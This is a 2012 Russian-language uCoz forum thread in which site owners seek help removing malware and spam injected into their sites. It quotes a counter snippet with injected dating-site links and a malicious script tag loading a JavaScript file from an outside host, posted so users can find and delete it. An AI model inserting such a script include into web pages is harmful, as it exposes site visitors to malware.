Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах_2 (для изучения)
Вирусы на сайтах_2
Armenian_King
Сообщений: 50
Репутация: 17

Сообщение # 961 | 07:53:33
Quote (Miss_Esq)
Armenian_King, Вам в тему вирусов ..

Разобрался, это не только у меня, вирус не на сайте, а в компе, какая-то новая дрянь, видимо придётся переустанавливать систему... Вот - http://www.cy-pr.com/forum/f7/t26447/.

Если мой пост окажется для Вас полезным, то не поленитесь поставить "+" в репутацию.
Vitalik7880
Сообщений: 1
Репутация: 0

Сообщение # 962 | 01:36:34
Помогите, пожалуйста!! кто знает как мне найти и удалить вирус с сайта? мой сайт - http://meteor.at.ua поисковики гугл и яндекс вируса на сайте не обнаруживают.. но на сайте 2ip.ru при проверке на вирусы пишет:"На сайте обнаружены iframe-вставки, ссылающиеся на сомнительные сайты либо обфусицированный код." Однажды заходил на свой сайт с другого компа (на котором не был установлен антивирус).. нажал на каком-то месте сайта - открился порно-сайт.. потом была какая-то загрузка какого-то файла.. я не успел ничего нажать как комп перезагрузился.. и при загрузке виндовс писало, что нужно отправить деньги на какой-то кошельок веб-манни.. короче, пришлось переустанавливать виндовс..
В даный момент на моем сайта присутствует код Popunder.ru ..когда я просматриваю свою статистику кликов на Popunder.ru пишет, что у меня ище присутствуют коди таких систем, как clickunder.ru и protizer.ru коды этих систем когда то были у меня на сайте, но потом я их удалил. Но Popunder почему то говорит, что они у меня все ище есть на сайте.. МОЖЕТ ЭТО ВИРУС ??
А еще у меня в коде щетчика посещаемости от 24log есть ссылки на порно-сайты.. хотел удалить их.. решил обновить код.. но в обновленном коде тоже были ссылки, только на другие порно сайты. Вот сам код:
Code
<center>
<script type='text/javascript' language='javascript'>
r=escape(document.referrer); u=escape(document.URL);
s=(typeof(screen)=='undefined')?'':screen.width+'x'+screen.height+'x'+(screen.colorDepth?screen.colorDepth:screen.pixelDepth);  
</script>
<table cellpadding="0" cellspacing="0" border="0" width="88" height="31" style="line-height:0;width:88px;"><tr>
<td width="38" style="padding:0px;"><a href="http://www.24log.de" target="_blank"><img src="http://counter.24log.ru/buttons/24/bg24-1_1.gif" width="38" height="10" border="0" alt="Besucherzahler" title="Besucherzahler " /></a></td>
<td width="50" style="padding:0px;"><a log=24 href="[color=red]http://www.connecting-singles.co.uk[/color]" target="_blank"><img src="http://counter.24log.ru/buttons/24/bg24-1_3.gif" width="50" height="10" border="0" alt="online dating services"></a></td></tr>
<tr><td width="38" style="padding:0px;"><a href="http://www.24log.ru" target="_blank"><img src="http://counter.24log.ru/buttons/24/bg24-1_2.gif" width="38" height="21" alt="счетчик посещений" title="счетчик посещений" border="0" /></a></td>
<script type='text/javascript' language='javascript'>
document.write('<td style="padding:0px;"><a href="http://www.24log.ru/rating/rating.php?c=6" target="_blank"><img border="0" width="50" height="21" src="http://counter.24log.ru/counter?id=58737&t=24&st=1&r='+r+'&s='+s+'&u='+u+'&rnd='+Math.random()+'" alt="Рейтинг: Интернет" title="Показано число просмотров всего и за сегодня" /> </a></td>');
</script></tr></table><NOSCRIPT><a log=24 href="[color=red]http://www.russianwoman.ca[/color]">russian dating service</a></NOSCRIPT>
</center>

Добавлено (15-Май-2012, 01:36:34)
---------------------------------------------

Quote
<center>
<script type='text/javascript' language='javascript'>
r=escape(document.referrer); u=escape(document.URL);
s=(typeof(screen)=='undefined')?'':screen.width+'x'+screen.height+'x'+(screen.colorDepth?screen.colorDepth:screen.pixelDepth);
</script>
<table cellpadding="0" cellspacing="0" border="0" width="88" height="31" style="line-height:0;width:88px;"><tr>
<td width="38" style="padding:0px;"><a href="http://www.24log.de" target="_blank"><img src="http://counter.24log.ru/buttons/24/bg24-1_1.gif" width="38" height="10" border="0" alt="Besucherzahler" title="Besucherzahler " /></a></td>
<td width="50" style="padding:0px;"><a log=24 href="http://www.connecting-singles.co.uk" target="_blank"><img src="http://counter.24log.ru/buttons/24/bg24-1_3.gif" width="50" height="10" border="0" alt="online dating services"></a></td></tr>
<tr><td width="38" style="padding:0px;"><a href="http://www.24log.ru" target="_blank"><img src="http://counter.24log.ru/buttons/24/bg24-1_2.gif" width="38" height="21" alt="счетчик посещений" title="счетчик посещений" border="0" /></a></td>
<script type='text/javascript' language='javascript'>
document.write('<td style="padding:0px;"><a href="http://www.24log.ru/rating/rating.php?c=6" target="_blank"><img border="0" width="50" height="21" src="http://counter.24log.ru/counter?id=58737&t=24&st=1&r='+r+'&s='+s+'&u='+u+'&rnd='+Math.random()+'" alt="Рейтинг: Интернет" title="Показано число просмотров всего и за сегодня" /> </a></td>');
</script></tr></table><NOSCRIPT><a log=24 href="http://www.russianwoman.ca">russian dating service</a></NOSCRIPT>
</center>
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 963 | 01:55:38
Vitalik7880, на счет вашего сервиса читайте тут //forum.ucoz.ru/forum/45-34556-16#807443
на счет спама на страницах, то лучше полностью удалить счетчик. там каша из кода какая-то
Quote
<a href="http://www.24log.de" target="_blank"><img src="http://counter.24log.ru/buttons/24/bg24-1_1.gif" width="38" height="10" border="0" alt="Besucherzahler" title="Besucherzahler " /></a></td>
<td width="50" style="padding:0px;"><a log=24 href="http://www.connecting-singles.co.uk" target="_blank"><img src="http://counter.24log.ru/buttons/24/bg24-1_3.gif" width="50" height="10" border="0" alt="online dating services"></a></td></tr>
<tr><td width="38" style="padding:0px;"><a href="http://www.24log.ru" target="_blank"><img src="http://counter.24log.ru/buttons/24/bg24-1_2.gif" width="38" height="21" alt="счетчик посещений" title="счетчик посещений" border="0" /></a></td>
<script type='text/javascript' language='javascript'>
document.write('<td style="padding:0px;"><a href="http://www.24log.ru/rating/rating.php?c=6" target="_blank"><img border="0" width="50" height="21" src="http://counter.24log.ru/counter?id=58737&t=24&st=1&r='+r+'&s='+s+'&u='+u+'&rnd='+Math.random()+'" alt="Рейтинг: Интернет" title="Показано число просмотров всего и за сегодня" /> </a></td>');
</script></tr></table><NOSCRIPT><a log=24 href="http://www.russianwoman.ca">russian dating service</a></NOSCRIPT>

или удаляйте то что сами выделили красным
попандер протизер и кликандер не самые лучшие варианты. и оттуда у вас могли быть проблемы с компьютером тоже
к сожалению вы выбираете только самые грязные партнерки

попробуйте удалить код счетчика 24log а потом у них же получить чистый код. если при получении на сервисе чистого кода и при вставке на сайт вы сразу получите обратно свои порно-ссылки, то вам стоит обратить внимание на чистоту вашего компьютера.

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Edge6007
Сообщений: 100
Репутация: 30

Сообщение # 964 | 11:40:43
Всем привет ! Вот только что обнаружил, что на мой сайт попал вирус ! Скрин:


И в Яндексе уже тож об этом говорится !


Сайт:


Искал в шаблоне- не нашёл ! ПОМОГИТЕ !

Добавлено (15-Май-2012, 11:40:43)
---------------------------------------------
Ах, вот и страница с вирусом !

Сообщение отредактировал Edge6007 - Вторник, 15 Май 2012, 11:36:56
Volchitca
Сообщений: 22
Репутация: 2

Сообщение # 965 | 12:05:20
Так как мне найти вирус в скрипте? и где это?
Edge6007
Сообщений: 100
Репутация: 30

Сообщение # 966 | 12:09:11
Volchitca, напишите какой скрипт
Volchitca
Сообщений: 22
Репутация: 2

Сообщение # 967 | 12:19:47
Мне тут уже отвечали, а я так и не поняла где и что искать((((
//forum.ucoz.ru/forum/45-34556-851126-16-1336196662
Edge6007
Сообщений: 100
Репутация: 30

Сообщение # 968 | 12:23:11
Volchitca, ищите в шаблонах сайта вот этот скрипт:
Code
<script type="text/javascript" src="http://sinners.pp.ua/forumpr.js"></script>

и удаляйте его ! Т. к. он ведёт на вредоносный сайт !
Volchitca
Сообщений: 22
Репутация: 2

Сообщение # 969 | 12:25:54
Так я не могу его найти
Edge6007
Сообщений: 100
Репутация: 30

Сообщение # 970 | 12:52:53
Volchitca, ну ятогда не знаю..В шаблонах во всех внимательно смотрите ...
bravo7446
Сообщений: 60
Репутация: 13

Сообщение # 971 | 13:04:57
Volchitca, поменяйте через быструю замену в панели управления
Code
<script type="text/javascript" src="http://sinners.pp.ua/forumpr.js"></script>

Наместе
Code
/---notvirus---/

Система сама заменит скрипт.
Volchitca
Сообщений: 22
Репутация: 2

Сообщение # 972 | 13:12:51
не получается, пишет - "Фраза не найдена"
Это точно на моем?
Я в растерянности!
Можно как первоклашке объяснить где и как искать/заменять
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 973 | 14:37:49
Volchitca, я же вам объяснила, что код не на вашем сайте, а на том на который вы активно ссылаетесь
код находится на этом сайте http://valleykrosava.ucoz.ru/forum/ он был и нпа главной у них, теперь убрали. код остался только на форуме. выглядит так
<script type="text/javascript" src="http://sinners.pp.ua/forumpr.js"></script>

ссылка на этот форум у вас стоти в меню и внизу стоит баннер.

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 974 | 14:46:24
Edge6007, реалтраф вашап проблема
и проблемная страница не обнаружена
а регистрацию и радио вы очень зря подгружаете с чужих сайтов

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Edge6007
Сообщений: 100
Репутация: 30

Сообщение # 975 | 17:01:52
webanet, т.е. код системы реалтраф лучше убрать ?!
И про какую регистрацию вы говорите ?! Вроде она на моём сайте...Или вы про скрипт?!
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах_2 (для изучения)
Поиск: